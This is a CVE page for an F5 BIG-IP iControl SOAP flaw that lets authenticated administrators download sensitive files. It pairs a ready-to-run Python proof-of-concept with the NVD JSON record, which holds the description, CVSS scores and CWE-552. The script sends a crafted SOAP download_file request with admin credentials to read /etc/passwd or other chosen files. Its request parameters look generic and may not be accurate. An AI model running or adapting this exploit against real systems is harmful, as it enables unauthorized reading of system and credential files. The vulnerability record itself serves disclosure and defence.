CVE-2026-42063

#!/usr/bin/env python3 # CVE-2026-42063 PoC: F5 BIG-IP iControl SOAP Sensitive File Download # Author: Security Analyst # Description: Exploits the vulnerability to download sensitive files via iControl SOAP. import requests import sys # Configuration target_host = "https://<TARGET_IP>" username = "<ADMIN_USER>" password = "<ADMIN_PASS>" file_path = "/etc/passwd" # Sensitive file to download # iControl SOAP Endpoint url = f"{target_host}/iControl/iControlPortal.cgi" # SOAP Payload for System.ConfigSync.download_file headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "urn:iControl:System/ConfigSync" } soap_body = f"""<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:iControl:System/ConfigSync"> <SOAP-ENV:Body> <ns1:download_file> <ns1:file_name>{file_path}</ns1:file_name> <ns1:recursive>false</ns1:recursive> </ns1:download_file> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" try: print(f"[*] Attempting to connect to {target_host}...") response = requests.post(url, data=soap_body, headers=headers, auth=(username, password), verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Failed to exploit. Status Code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

{"cve": {"id": "CVE-2026-42063", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:46.440", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in iControl SOAP where an authenticated attacker with the Resource Administrator or Administrator role can download sensitive files.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000160973", "source": "[email protected]"}]}}